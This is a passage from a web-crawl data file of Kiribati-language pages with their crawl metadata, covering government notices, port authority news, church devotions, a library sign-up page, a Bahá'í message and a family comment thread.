Maamau","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/covid19.gov.ki\/press-release\/HEPS%20No%3A02\/22","date":"2023-12-01T07:21:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100276.12\/warc\/CC-MAIN-20231201053039-20231201083039-00844.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1558,"character_repetition_ratio":0.076,"word_repetition_ratio":0.006,"special_characters_ratio":0.211,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kabaerantan te Rongorongo — Sports Complex\nKabonganaan te Sport Complex bon te babaire ae karina ibukin bukamaruan ana ka 44 n Ririki Abara ao e boboto iaon kanoan te bong are kamatoaa te Met. Office ibukin te tairiki anne ae ngaia ae karika te raraoma n te karau ibukiia ana iruwa aika a kakannato Kiribati n aron te Beretitenti mai Nauru ma kaain ana tiim, Ana Tia Tei te Kaomwanuareta, onean mwinTe Beretitenti mai Tiaina, ana Ambaetita Amerika ao ana Aikamitina Buritan.\nE rineaki te Sport Complex kioina ngkai e bon rangi ni mano raoi, e bubura ao e tamaroa man tau naba mwaitin te tabo n rairaki ibukiia iruwa aikai.\nNi moa man bwakantaain te Kauabong, 11 July, 2023, ao ea karaoaki kawaraia ni kabane te koraki ake a katei tent ao ni karaoaki te iraorao ni maroro ao ni butiiaki aia ibuobuoki iaon baarongaan kabonganaan te sports complex ao aikai ngkanne babaire ake a butimwaai:\ni) NI moa man te aoa 2pm n te Katenibong ao a na in gate ibukin te rin nakon te\nComplex.\nii) E na toki moa te kaboobwai ao ni manga uki n te aoa 9pm n te tairiki\niii) Ibukin te tabeaianga ni buan aia bwai ao a kariaiakaki aia aomata bwa a na kona n tiku ni bon tarai aia bwai nako imwain are e a manga uki te bobwai n te aoa 9pm.\nE noraki kakawakin te reitaki n iraorao n te aro bwa a na noora kakawakin tararuaakiia ana iruwa Kiribati ao e na aki naba matebuaka karaoakin aia kaamwarake ke aia karikirake ngkai e na iai rootakin mwaitin te boobwai n te bong anne.\nKabonganaakin te Complex e aki bwanin bongina ngkai e bon tii kabonganaaki man te aoa 2pm ni karokoa ae e bwara n te tairiki.\nA bon kaongoaki naba te botannaomata n te bong are imwain 12 July bwa e na kamwaawaaki moa nanon te Sport Complex ngkai e bon kainanoaki te rau ibukiia ana iruwa Kiribati ake a roko n reitaki naba ma kainanoan nanon te marae ibukin nneia kaa n tei inanon tain waakin te bukamaru anne.\nTe babaire ibukin kabonganaakin te Sport Complex e bon karaoaki rinanon ana baaronga te Komete ibukin baarongaan te State Banquet ao e ngae ngke e a bon taubobonga nanon te State Guest House, ma e a karaoaki te bitaki n te tai ae e waekoa man teimatoan bwakan te karau ao te ang are a ireiti inanon te wiiki ni Kainaomata.\nA na bon rangi ni mweengabuaka ara iruwa ngke arona bwa e booaki n te State Guests House ao ni kakarau kioina ngkai e na korakora te bururu ao te neinei n taabo tabeua ao man riki bwa taekan abara ngkana a okirii abaia.\nKorakoran te ang ma te karau e bon nooraki ni moanibongin wiikin te Kainaomata n tain te Gospel Day, ike a ukakinako man tabekakirake taian tents mani bouaia are e aki tangiraki bwa e na reke.\nNgaira kaain Kiribati, kateira ae e moanibwai bon te kakairuwa ao te tangira n taainako. A rangi ni kakawaki ao ni moanibwai ara iruwa iroura n taainako, ao inanon ara utu aika a kakaokoro ao ti bae n tangiria bwa ti na anga ara tabo ae e mano raoi ao n rau ibukiia ara iruwa, bwa a na tiku moa iai ni karokoa te tai are a manga kiitaniira iai.\nlai te mwakuri ni kakae ae karaoaki ibukin karaoan te mwakuri ni kaongoraa ae ritinanikun te babaire ma te babaronga ao ngaia ae karika te rawawata ma te un irouia taan karikirake. Te kaongora aei are e karaoaki imwin te nukanibong n tairikin te Kauabong 11 n Tuurai 2023, ao e a bon ritinanikun ana babaire te komete ao te baaronga are ea tia ni karaoaki nakoia taan karikirake inanon ana compound te Sport Complex.\nE kakawaki bwa e na mataata te botannaomata, bwa n tain te bukamaru n 12 n Tuurai 2023 ao bon akea auti\/tents aika uruakaki, ao akea naba aomata aika a kaotinakoaki n aron are e a tia n toka bwa rongorongo aika a kamwengabuakaia te botannaomata.\nE ngae n anne ao e karautaeka ami Tautaeka ao ni kawenea te bwana ni kabwarabure ao ni bubuti nakoia ake a teimatoa n aki rau nanoia n te babaire aei, bwa a bia noora kakawakin moanibwaian katein Abara ni kakairua nakoia ara iruwa aika a kakannato ake a roko n taoni tabon inaaira inanon rungaan ana ka 44 n lnaomata Abara ae Kiribati.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.president.gov.ki\/news\/108-kabaerantan-te-rongorongo-%EF%BF%BD%EF%BF%BD%EF%BF%BD-sports-complex.html","date":"2023-12-04T23:29:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100535.26\/warc\/CC-MAIN-20231204214708-20231205004708-00590.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":740,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.415,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N na neboiko ao ni karabako n tai nako te Atua ba E kororaoi am tangira n tai nako ibukiu. Te Atua e aki kona ni bitaki arom nakoiu ba ko tauraoi n anganai kororaoin am tangira ngkai Ko bon onrake n te raoiroi ao ko tauraoi n anganai bai aika I kainanoi imain ae I kaoti nakoim. Ko aki kona ni kanakoa am taratara mairou ngkai e teimatoa n rawa Nanom ba N na kabuanibai mani mate. Ko anganai te onimaki ba bon akea te tai ae ko kona ni manuokinai ao bon akea te bai ae Nna kona raraoma iai ba Ko tei irarikiu n tai nako ao ko aki kona ni kitanai.\nTe Atua ae ko onrake n te raoiroi ao te tamaroa ko raba n am taeka nakoiu n te bong aei ba N na tauraoi n bubuti nakoim ngkana iai te bai ae I kanianoia, ngkai ko tauraoi ni kaekai n tai nako. Ko tuangai naba ba ngkana I tauraoi n ukeuke ao e na bon reke kainanou mairoum ao ngkana I karebwerebwe ao ko na bon kauka te mataroa nakoiu. Ko bon anganai ikai te Uea te onimaki ba inanon au waaki ni kabane ao Ko bon tauraoi ni boukai ao n raonai n tai nako. Ko bon atai ao ko nori bai aika Nna kaitibo ma ngaai ao I ataia ba boni Ngkoe au Nono ao au Bwaa ni Kamaiu ao bon te bai ae N ria ni maku iai.\nI butiko te Atua inanon te karemo aio ba Ko na riki ba raou n tai nako Ngkoe ao ko na katanai man taian kanganaga ma kabuanibai nako. Tai katauai ba Na raurenako ma Ngkoe ma nanoangai ba Nna karekea te kanuanga are ko a tia ni katauraoia ibukiu are bon te maiu ao te kabaia ae akea tokina i rarikim i Karawa.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1778-e-kororaoi-am-tangira-n-tai-nako-te-atua-ibukiu","date":"2023-12-05T19:16:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100555.27\/warc\/CC-MAIN-20231205172745-20231205202745-00230.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":310,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.355,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri Tariu\nNgkana ko kan reitaki ma kain Stream Valley ao aio te number irouia nei Tarotuma ma: 9537220.\nE koroboki nei Tarotuma nakoiu n tuangai are a katea aia auti irarikin ana auti Teem ao tangaia nei Marin ma aia ataei a raona Teem, a bon marurung ao ea bati te ununiki vegetables irouia.\nIa manga ongora mai iroum mai ikanne.\nTia boo moa\nMauri Sis! I an nang kukurei n ongo mai iroum, e raba naba te tangira ba tia kona reitaki nte e-mail aio. Mom ngkai e nang retire nte ririki aei, ai temana au mane ao uoman au aine. Temaka jnr ea koraki aua ao nake aine a tuai n reirei. Tia reitia iaon te e-mail, au e-mail firstname.lastname@example.org ke email@example.com nte makuri......tia boo moa, tekeraoi naba......ngkana iai am skype address ao ko a kanakomaia.\nMauri te unaine??? Ea man te taai ao ti tuai man reitaki ia tiba oki naba mai kiribati ao ngke ko mena ia ikanne??? I bon roroko irouia Nei Tebora maa ti neeu i Eita. Bon te kamauri nakoia am koraki. Ngai bon ti temanna natiu te aine, ea class 4 ok auty tia bo moa ao koa manga reitia mai ikanne.\nmauri riki ....,\nakea te kanganga n aron are ko taku i bukin am kan reitaki ma am utu i Rabi . nakataia ni kakaea n arrange am appoinment am am utu i Rabi ..i boni kinaia am koraki i Rabi .ma ngai i online mai i suva ma aio ana number nei Karawa ....8204526..Ieremia ...8201671...ngkana ake te i bitaki tia manga bon reitaki nte KOC\nkoraba\nMauri Sis\nKanga iaki bati kakawara te site aio ma its nice to know ko bon maiu naba.....ko uara ma kain abam ao am koraki n ataei? Ko a bon aki kan karairaki kee? Ko kanganga ma congrats naba n am makuri ao katean am utu.....2 weeks back ao ti kaitibo ma Amon ma nei Manang iroun Mum. Ti nang kukurei ngke ba tia tiba noria....E tau moa, tia boo ao e tekeraoi te waki.\nMauri ngkoe..titabo ma koa bon aki nonora te comments kee...e tikiraoi kawakina raoi ainen umam kee.. auara natim ao am koraki ikanne?? Ikai bon arona naba..ti te kamaitoro ngkai ae korakora ao e kan boote hybiscus...tekeraoi moa ma am koraki..sapooo moa kee\nHi there beloved Aunty!! Long time no C kee?? How've you been? kicking uh?? Hey, a uara am family mai ikanne??tskstsk ko a bon kaaina Beru kee..ao e uara abam anne? Oh, e uara moa am funnatoi? shsh..ti a nag miss u riki n tain ara botaki n utu are Tateraka family...e tau ma ai bon norana ni boong rake aikai...anyway, ara katekeraoi nakoimi nte Xmas ao te New year aei....take care gkami kee? luv U all! Bye for now\nlots of luv mai irouia am niece and nephews aikai;\nmauri kain beru ............aura ma Bwauoti ma Erenoo...........ao teokata e uara moa buum ane tebukaa anne............koa aganna naba au kiss ae e hot.................e tau ma tekeraoi naba te makuri .......................\nNeiko mauri!!!! ngaia koa mena naba ikai.........e tikiraoi bwa are ko up to date riki nte news iai kee.....ao koa nonoria riki kain rabi.....iai naba ana page Biara ao e mena i tabwewa.....tao ea kai roko riki iai ami rongorongo......\nTekeraoi moa ao tia manga bon rereitaki ni mwawan ami tai.....Te kamauri nakoia am koraki riki buum ae babanto ao ai natimi............\nSaunaine bon te kamauri naba mai Suva mai iroura ao ai tibum E raraba te reitaki nte site aio ngkna e nora au page ao koa kona ni mataku n aia mare natin Aran ma Nei Tabeta tao ti ngaia moa anne tao tia manga bo moa\nMauri moa mwaneu ao ko uara ngkai ma kainabam? I taku bwa kam rangi n marurung raoi ker...a uara naba natimi? a rangi n marurung naba ker..e koaua ae reke ami address iroun Taonatee ngaia are ko add nai kee.\nE tekeraoi te mwakuri & GOD be with you and your family\nahahahah............c te tai naba iroum nerr........koa rin naba kerr............ai kakukureira anne...............ao Ruteru gkanne e nag kukurei naba ..............ao taraia kokona n comment n aia page akana ko kinaiia ao ko add as yr fren ba e aoga n rawata am news ................\nmauri teunainne aei nei tekota mani bwaanan brizzie aei maitoro...???\nkouara moa man am tabo anne..!!! tiakua ni kakariaria rokom nakon am tabo are teonikao.....ao ngaia koa bon nako naba naki manga karairaki keer!!...shshshhs..e raoiraoi ba are koa bon kaina beru keer!!\ntera e a bon iangoaki man am tabo anne...taran aei konaing busy woman.... eriten ma ueri a bon tiba oki naba mai tarawa..ibukin aai aro te bahai... anaing maan i tarawa..teuana aia namakaina.. ao naing kaan kaitibo mangke....??? isa i manga uringa arora ngkoa nte auc ngke e maiu tamau..!! tao iaa toki moa ikai......koa manga reitia mai ikanne...\ntiaboo& tekeraoi naba te tikuu ikanne ao te makuri..\nngaia am ataei are kain teonikao ni kakaiaki..lol\nfei..jack..m..","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=14o0u1waas93i","date":"2023-12-06T01:18:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100575.30\/warc\/CC-MAIN-20231206000253-20231206030253-00183.warc.gz","language":"gil","language_score":0.9996387959,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9996387958526611}","num_words":820,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.275,"stopwords_ratio":0.198,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Iaon te iteraniba aio Rongorongo ao ritioti iaon te iteraniba aio a karaoaki ibukin kamanoam iaon te intanete. Riai ni mano iaon te intanete Ni mwengam Arom ni kamanoko iaon te intanete: Taian moani mwaneka1.47MB .pdf Anga ni kamano aika rianako poster594KB .pdf Anga ni kamano aika rianako A4483KB .pdf Anga aika bebete ibukin kamanoan am Kombiuta ao akaunti531KB .pdf N am bitiniti ACSC Aron kamano iaon te intanete ibukia Bitiniti aika Uarereke1.57MB .pdf Ma kaara Arom ni kabongana te intanete ae mano: Te kairi ibukia kaara1.71MB .pdf","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.cyber.gov.au\/learn-basics\/view-resources\/translated-information\/kiribati","date":"2023-12-08T09:00:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100739.50\/warc\/CC-MAIN-20231208081124-20231208111124-00639.warc.gz","language":"gil","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000044107437134}","num_words":88,"character_repetition_ratio":0.128,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tairu ma maneu E mate Iesu iaon te Kaibangaki ba E na kaboira n rarana ae moan te tabu ao n anganira te kona n riki ba natin te Atua ao te botanaomata ae rineaki I rouna. E mate Iesu ibukia aomata ni kabane n akea temanna ae katukaki.\nMa e na tabanin te kamaiuaki iroura ngkana ti butimaea te Tamnei ae Raoiroi ao n irira nanon te Atua are E tangiria aomata ni kabane ba a na roko i Karawa i rarikina. Kainaomatan te Tamnei ae Raoiroi inanon maiura ao kairakia aomata nakon te Uea boni ngaia raoi angan reken te kamaiuaki iroura. Kairakia aomata nakon te bure boni karekean te rekenikai ae rawawata iroura are bon te mate ae aki totoki i moone.\nTi bon riai ngkanne ni butia te Atua ba E na katabuira n tai nako n Rarana ae moan te Tabu ba ti na kona ni buokiia tarira ma manera ao ni kaokiia nakon te Uea inanon te rairannano. N te aro aio ao ti na katotonga iai Iesu are E anga maiuna ibukin kabaran ara bure ba ti aonga ni katonga karoraoin te mimitong i Karawa. Tariu ma maneu ti na tuoi aron maiura ao ni butia te Tamnei ae Raoiro ba E na kaotaira n arora ake aki botau ma Nanona. Ti na butia naba ana karatia ba ti na riki ba bannan ao katotongan raoi Iesu n arora ni kabane n te aro ba ti aonga n riki ba kanga taian bikan ake a na kaota te kawai nakoia te koraki ake a bua ma n raroanako ma ana Tangira ao ana Nanoanga Atiniban Iesu ae moan te Tabu.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/66-katabuira-te-uea-ibukin-am-tangira","date":"2024-02-24T23:52:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474569.64\/warc\/CC-MAIN-20240224212113-20240225002113-00036.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":277,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te Kanimabong, 11\/08\/23, ao e karaoa ana katekeraoi ana Board te KPA nakon ana bwai ni mwakuri n raonaki ma ana kaa aika a boou te KPA. Te bwai ni mwakuri aio bon tewaana te Sidelifter are e kona ni katokaa ao n uota te container ae abakina 40 te buuti ao ni karokoa irouia taan kaoa te kaako ke bitineti. Te Sidelifter aio bon raon te Sidelifter are tewaana n roko are ea tia naba ni katekeraoia KPA ni moan te ririki aio, ma ea tiba tia raoi arona ni katomatomaaki irouia ana taan mwakuri KPA.\nKaa aika awaa (4) mwaitina bon te naan Toyota Hilux double cab pickup are tewaana mai maiai ae e na kanakoaki nako Kiritimati ibukin katoamauan mwaangan te KPA ikekei. Ake teniua ana bon tiku i Tarawa n onoi mwiin ana kaa te KPA ake a maan.\nE a tia KPA ni kabanea te mwaiti ae AU$189,127 ibukin karekean ana Sidelifter aio ao AU$331,200 ibukin kabooan kaa ake awaa. Te boto n iango ni kabooan bwaai ni mwakuri ao kaa aikai bwa ana buoka katomauaan ao kamarurung riki te KPA ni karaoa tibwanga nakon te botannaomata.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/kiribatiportsauthority.online\/Media\/all-news\/ana-katekeraoi-kpa-nakon-ana-kaa-ao-bwai-ni-mwakuri-aika-a-boou","date":"2024-02-23T09:25:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474377.60\/warc\/CC-MAIN-20240223085439-20240223115439-00883.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":190,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.374,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rinim bwa te tia tango booki ngkoe\nKiribati\nMauri ao kaaraki nakon bwai aika a rianako kakamatakuia aika a reke n am tabo n tango boki.\nTi butimwaiko ma am utu bwa kam na kabonganai ara tabo n tango boki i Christchurch City.\nE aki kaboaki rinim bwa te tia tango boki ngkoe ngkana ko maeka ke ko kabwaka roo nakon te Christchurch City Council.\nKo kainnanoi baikai ngkana kona riin bwa te tia tango booki ngkoe n te tabo n tango boki:\n- Angan kinakim: tao am bwatiboti ke 2 anga riki tabeua n aron te ID, e butimwaeaki are iai tamneim iaona. Ngkana te tetei ae e na riin bwa te tia tango boki, te karo \/ke te tia tararuaa te tei ae e na kainanoaki ana ID.\n- Kakoauan te tabo ni maeka (ae e tuai n riaon 30 bongina). E kona n ae te reta man am bangke, reirei, te tabo ni iti ke te kambwana n tareboon. A butimwaeaki beba ni kakoaua ake a reke man te tareboon ke te kombiuta (Digital versions).\nKaetieti ibukia taan tango booki\nN aron ae ikai 'ti' ke 'ngaira' e na kaineti ma te tabo n tango boki i Christchurch City (mwangan te Christchurch City Council), ao te 'I', 'ngkoe' ke 'ami' e kaineti ma te tia tango booki.\nNgkai I a rin\/ma nake a mena ian au tararua bwa taan tango booki ngaira, ao I butimwaea katabeau ibukin bwai ake a tangoaki.\nI butimwaei:\n- Kaetieti ibukia tenaan membwa n tabo n tango boki. Aikai tao a na kona ni bitaki. Bitaki ana katokaki iaon ara uebutiati.\n- Kaoki bwai ni kabane ake a tangoaki man te tabo n tango booki n aia tai ni kaokaki, ao n akea uruakiia.\n- Kaongoira n te tai ae tawe ngkana e bua am kaati ke e iraeaki ke ngkana iai te bitaki ibukin te reitaki nakoim.\n- Kabwakai ni kabane tarau, boon bwai aika a uruaki, kaboani muia, babaronga ao boon rikoan taian tarau ibukin te akaunti aio.\n- Kabonganan te tabo n riko tarau ae katauaki ibukin kaitiakan te tarau.\nKamanoan Rongorongo:\nTera bukin ae ti rikoi rongorongomi?\nIbukin karekean taian tieweti man taboo n tango boki i Christchurch City (mwangan te Christchurch City Council).\nTi kabonganai rongorongom n reitaki ma ngkoe ao ibukin babarongan karinakim","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/my.christchurchcitylibraries.com\/join-the-library-kiribati\/","date":"2024-02-26T10:32:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474659.73\/warc\/CC-MAIN-20240226094435-20240226124435-00173.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":378,"character_repetition_ratio":0.111,"word_repetition_ratio":0.011,"special_characters_ratio":0.22,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nakoimi aomata nako moarara riki bao ni bwatintia ao booti ao waa n akawa i tabon betio, kam a kaongoaki nte katanoata aio bwa iai rokon ana kaibuke ni buaka Tiaban are ena roko ao n roro imaeaon te rawa n rororake I tabon betio ma kam a butiaki nikabane bwa kam a taiaoka ni buti ni kararoa te kaibuke ni buaka aio nte raroa ae 500meters ni katobibia. Tia bubuti ami ibubuoki nakon aio ao ni kaongoia akana aki kakauongo.\nTina manga kaongongo te bong ao te tai are ena roko iai ngkana e matoa mai irouia.\nKam rabwa\nCEO KPA","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/kiribatiportsauthority.online\/Media\/all-news\/japan-army-vessel-notice","date":"2024-02-23T10:03:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474377.60\/warc\/CC-MAIN-20240223085439-20240223115439-00535.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":102,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.343,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Return\nThe Universal House of Justice\nRidván 2020\nTo the Bahá'ís of the World\nDearly loved Friends,\nUoua oioi aika moana kaotia ake a kaungaira bwa ti na taekini taeka aikai nakoimi. Te moan oioi bon rikiraken te atatai ni kabuta te aonaba iaon ruanikai aika buabuaaki ma ni kakamaaku ake a uotaki ni butinakon te coronavirus n te aonaba. A mwaiti aono, e ngae ngke aia kekeiaki mwaaka ma aia ninikoria aia botanaomata ni kabane ibukin totokoana ma kauarerekean ana ruanikai, ma te bwai ae riki e a kaman roko ni korakora, ao man rangi ni kananokawaki nakoia utu ao aomata nako ni kabaatetea te botanaomata ni bwaninna nakon te kabuanibwai. Naao ni karawawata ao ni kananokawaki a bwaro man te tabo teuana imwin teuana ao a kangoreia kaain aono aika kakaokoro, ni miniti aika kakaokoro, ni kawai aika kakaokoro.\nTe kauoua n oioi, bon teuana ae otara riki ni katoa bong, bon ana tuabeniben te Aonaaba ni Bahá'í ao marururungina ae e aki i te maakena imatan te kakaewenako ae akea aekana man te ururing ae maiu. Ami kaeka e bon rangi n rianako arona. Ngke ti koroboki nakoimi teuana te namwakaina n nako n tain te Naw-Ruz, ti bon rangi ni kan katuruturui anua aika rangi ni kamaiua te nano ake a karaoaki n ami baronga ike tein raoi bannan ami iwawaaki a uruakaki. Te bwai ae otinako inanon wiki n nakonano aikanne ike a mwaiti raao ake a riai ni iri ririkiraken tuua aika matoatoa man kainiin, e bon kananoa riki ana namakin ni mamataiakini ngkami. Reiakinaki man taneiai ake a karekeaki n iteran te aonaba ake tabeua, tabeua baronga a tia ni kunei kawai aika mano man kakau iango ibukin karikirakean te atatai ibukin bwaai aika kainnanoaki ibukin maurin aia botanaomata. Te taratara e katuruturuaki riki nakoia ake a kai reke riki n te kabuanibwai man te virus ao aroaro ni maiu ake a na rio man butinakona; taian waaki ni kakauiango ake a kaotaki n te Bahá'í World News Service n te itera aio bon tii tabeua maibuakon aika mwaitikurikuri riki aika iaon kawaia. Aikai a manga turabuaki riki man kekeiaki n tirobaa, ni kakatanoata, ao ni mamauboni anua n tamnei ake a moa kainnanoakia riki n te tai aio. Kekeiaki n aron aikai a bon mwaiti ake a waakinaki inanon utu ke ni bon tatabemaniia, n aron ana kariaia aia otabwanin ke aia konaa aia bwai ni itoman, te namakin n katiteuanaaki ae raka arona e a bon kakamaiuaki man nabenabeaki ibuakoia tamnei ake a tibwaa te otabwanin ae tii te arona. Maiureirein te maiu n baronga, e bon rangi ni kakawaki ibukin te uaia ni bane ni waakirake, ao n aki kamwemwereaki.\nA mwemwerakeaki tamneira man noran aia konabwai Botaki n Tamnei n Aono, mataniwin te Taanga ni Buaka ibukin te Oota aika matoa man aki neneaki, a tia ni kairia aia baronga ao ni buai aia kaeka nakon te kabuanibwai. A bon tia n boutokaaki ma te nanomatoa irouia Kauntiera ao aia Baba ni Ibuobuoki ake ngaiia, n aroia n taai nako, a tia ma te ninikoria n tabeka rake manin te manuia n tatangira iaon aia beku. N aroia ni kateimatoa aia atatai ma te ongongora ibukin baititiin bibitakin tein abaia, Botaki a tia ni karaoi aia babaronga aika riai ibukin kabutakin te babaire ibukin te Waaki, ao ai moarariki ibukin waakinan te rinerine, n taabo ake iai te kona iai. Rinanon te itoman ae irerei, rabwata nako ao agencies a tia n anga aia boaboa aika niniwana, aia karaunano, ao aia kaunganano ae teimatoa. N taai aika bati, a bon tia naba ni moana katebenakoan boto n reirei aika a ibuobuoki ake a otioti man taian mamaroro ake a ukinako ngkai n aia botanaomata. Te kariaria are e kaotaki n ara rongorongo n te Naw-Ruz are kataakin ana nanomatoa te botanaomata e na bon anganaki riki te taratarannano ae korakora riki ao aio e a bon tia ngkai ni moanna n noraki. Mataniwi, taan iango aika bwakuaku, ao taan kanako rongorongo a tia ni moana ngkai aia ukeaaba iaon boto ni iango n taian aa ao taian kantaninga aika aki wimakiki ake, n taai aikai, a bon tia n rangi ni bua man taian mamaroro ma botanaomata. N te tai aio aikai a bon tibwa moana otiotiia, e ngae n anne e anga te taratara ae kona ngkai n noraki bwa n te tai ae uarereke e bon kona n reke te ikotaki n atatai.\nTe mwengaraoi are ti anaia man norakin tuabenibenin te aonaba ni Bahá'í are e kaotia n te mwakuri e bon airi naba ma nanokaawakira man taian kabuanibwai nakoia botanaomata ni kabuta te aonaba. Ai kawara, ti ataia bwa taan onimaki ma raoraoia a bon ana naba tibwaia man te karawawataaki aio. Te tei raroa mairouia raao ao utu ibukin, irakin raoi tuua ibukin kainnanoakin kamanoan te botanaomata, a bon rangi ni mwaiti aomata n te aonaba ake a bon kateimatoa nanoia, ibukia tabeman, a bon anganako te uamae ae akea tokina. Ni katoa maibin te ingabong e bon kakoauaaki bwa te kammaraki ae e a raka riki e na rinanoaki imwain manga bungin taai. E bia te berita ni manga kaitiboaki n aonaba ake akea tokia n anga te raunnano nakoia ake a tia ni bua aia tangira. Ti tataro ibukin kabebetean nanoia, ao ibukin Ana akoi te Atua bwa e na katobibiia naake aia reirei, maiuia, mwengaia, ao ni ikotaki naba ma boton raoi maiuia ake a toka ngkai iaon te kabuanibwai. Ibukimi, ao ibukia ake mamaten nanomi, ao ibukia ni kabane kaain abami, ti bubutia ao n onnonia Bahá'u'lláh Ana kakabwaia ao Ana nanonaki.\nE nga ngke e abwabwaki ao ni kakorakai te kawai are ti riai n mwananga iaona, ti bon rangi n onimaki ni koaua n ami nanomwaaka ao ami kekeiaki mwaaka bwa kam na rinanon te kawai aei nakon tokina. Kam katiki man ami tania n kariaria, n onimaki, ao ni kakannangaki, ni karimoai kainnanoia tabeman nakon ake bon ngkami, ni buokia ake a aobaaki bwa a na kanuaaki n tamnei, naake a rikirake takaia ibukin kaekaaia bwa a na a torobaaki nanoia, ao naake a bora ni kan mwakuri ibukin katamaroan te aonaba n anganaki aia anga. Mairouia Ana taan iriira te Kakabwaiaki ae Kororaoi aika babane nanoia, ti na kanga ni karia ae rinano riki nakon aei?\n- The Universal House of Justice","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/bahaiprayers.net\/Ridvan\/Kiribati\/54\/1184","date":"2024-04-15T17:04:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817002.2\/warc\/CC-MAIN-20240415142720-20240415172720-00182.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1064,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N tabetai ao ti kataia ni kakaai taian kakai inanon maiura ae ti na nora iai ana kaimimi te Uea ibuakora. N te bong aio ao ti kauringa ana toa St Vincent de Paul are rangi n kinaaki n arona n tabeakinia kainnano ma kananoanga. I taku ba bon aio te moan ni kakannato ni makuri ae ti kona iai ni kaota bannan te Atua nakoia tarira ma manera ni kabane.\nE boni kamimi aron kinaakin Iesu irouia aomata n ana tai ni maiu i aonteaba ba rinanon ana makuri n tangira ao n nanoanga nakoia aomata. Ngke E kaotia nakoia Abotoro i muin mangautina ao E rineia Iesu ba E na kinaaki n taian ikoaki iaon Rabatana.\nTariu ma maneu tera arora nakoia aika ti noria ba a kainnano mani 